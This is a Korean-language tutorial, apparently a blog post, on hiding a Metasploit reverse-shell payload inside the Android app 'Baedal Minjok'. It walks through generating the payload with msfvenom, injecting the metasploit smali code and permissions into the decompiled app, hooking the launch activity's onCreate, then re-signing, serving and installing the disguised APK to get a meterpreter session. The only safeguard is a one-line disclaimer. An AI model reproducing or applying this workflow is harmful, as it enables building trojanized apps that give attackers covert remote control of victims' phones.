해킹은 반드시 자신의 기기에만 해주세요.
그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.
안드로이드 어플리케이션 후킹하기
커버로스님의 영상 : https://www.youtube.com/watch?v=4YCwXZ1SVls&t=717s
해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 ‘샤오미 홍미 5 플러스’입니다.
후킹할 어플리케이션으로 ‘배달의 민족’을 사용했습니다.
프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.
- 안드로이드 스마트폰
- 후킹할 어플
- kali linux
* 칼리 리눅스에 설치되어 있는 apktool 2.3.1는 어플을 빌드하는 과정중에 오류가 발생하므로,
https://bitbucket.org/iBotPeaches/apktool/downloads/ 에서 최신버전을 다운로드 받아 사용하였습니다. (2.3.3)
1.어플리케이션 다운로드 받기
https://apkpure.com/ 에서 후킹할 apk파일을 다운로드 받습니다. 저는 '배달의 민족' 어플리케이션을 사용하였습니다.
그 뒤 파일명을 baedal.apk로 바꾸었습니다.
2. msfvenom을 이용하여 악성코드 apk파일을 생성합니다.
저는 payload.apk로 만들었습니다.
lhost는 PC의 ip주소를, lport로는 4444로 지정해주었습니다.
# msfvenom –p android/meterpreter/reverse_tcp lhost=192.168.0.7 lport=4444 –o payload.apk
3. payload.apk 와 baedal.apk 모두 apktool를 이용하여 디패키징합니다.
4. payload/smali/com/에 있는 metasploit/를 baedal/smali/com/으로 복사합니다.
5. baedal/과 payload/에 있는 각각의 AndroidManifest.xml파일을 gedit을 통해 엽니다.
# gedit AndroidManifest.xml
6. payload의 권한과 기능을 baedal로 복사합니다.
payload의 AndroidManifest.xml에 있는 모든 permission과 feature부분을 복사하여
baedal의 AndroidManifest.xml로 붙여넣기합니다.
^ payload의 AndroidManifest.xml에 있는 모든 permission과 feature부분
^ baedal의 AndroidManifest.xml로 붙여넣기한 모습
7. 어플리케이션이 처음 실행될 때 시작되는 Activity 부분을 찾습니다.
launcher와 main은 항상 붙어다니기 때문에 launcher을 검색하여 main부분을 찾습니다.
^ category인 LAUNCHER 바로 위에 action인 MAIN이 보입니다.
main이 포함되어있는 activity가 앱이 처음 실행될 때 시작되는 activity입니다.
activity파일의 경로를 확인합니다.
com.baemin.presentation.ui.GateWayActivity
8. 위 경로를 따라 GateWayActivity파일을 찾아 엽니다.
onCreate 함수를 찾습니다.
어플리케이션이 처음 실행될 때 무엇인가가 생성되는 부분임을 알 수 있습니다.
metasploit/stage/ 에 있는 MainService.smali파일을 cat명령어로 출력한 뒤
출력된 문자열중 최하단에서 4번째줄의 명령어를 복사하여
invoke-super {p0, p1}, Landroid/support/v7/app/c;->onCreate...(생략) 부분 바로 아래에 붙여넣습니다.
이 것을 후킹이라고 합니다.
9. 이제 apktool을 사용하여 baedal/을 빌드(패키징)해줍니다. -o 옵션으로 baemin.apk라는 이름을 주었습니다.
빌드중 에러가 발생했습니다. 이정도 에러는 보고 수정해준뒤 다시 빌드하면 됩니다.
에러를 보니 keyboardNavigationCluster 를 찾을 수 없는 것 같은데, 그냥 지우고 다시 빌드합니다.
빌드에 성공했습니다.
빌드에 성공하여 baemin.apk파일을 확인할 수 있습니다.
10. baemin.apk에 서명을 합니다.
서명되지 않은 안드로이드 어플리케이션은 안드로이드 기기에 설치할 수 없으므로 서명을 꼭 해야합니다.
keytool과 jarsigner을 사용하여 baemin.apk 서명작업을 진행하였습니다.
그 전에 keytool이 정상적으로 동작할 수 있도록 home/에 .android파일을 생성해줍니다.
# keytool –genkey –v –keystore ~/.android/debug.keystore –storepass android –alias androiddebugkey –keypass android –validity 9999
(옵션 –validity 9999는 9999일 동안 유효함을 의미합니다.)
# jarsigner –verbose –keystore ~/.android/debug.keystore –storepass android –keypass android –sigalg SHA256withDSA baemin.apk androiddebugkey
11. 해킹될 기기에서 해당 어플리케이션을 다운로드 받습니다.
아파치 서버를 열고, 서버 경로에 baemin.apk를 옮겨둡니다.
안드로이드 기기에서 http://192.168.0.7/baemin.apk로 이동하여 파일을 다운로드 받습니다.
12. msfconsole 사용을 위해 handler.rc파일을 생성합니다.
postgresql를 시작하고, msfconsole도 시작합니다.
# service postgresql start
# msfconsole –r handler.rc
13. 안드로이드 기기에서 baedal.apk파일을 설치하고 실행합니다.
실행시, 정상적인 배달의 민족 어플리케이션으로 보이게 됩니다.
그러나 PC에서는 세션이 하나 잡히게 됩니다.
세션을 확인하고 연결합니다.
이제 해킹에 성공한 것입니다.
해당 기기의 정보를 확인할 수도 있으며(sysinfo), 스크린샷을 찍어 볼 수도 있습니다(screenshot).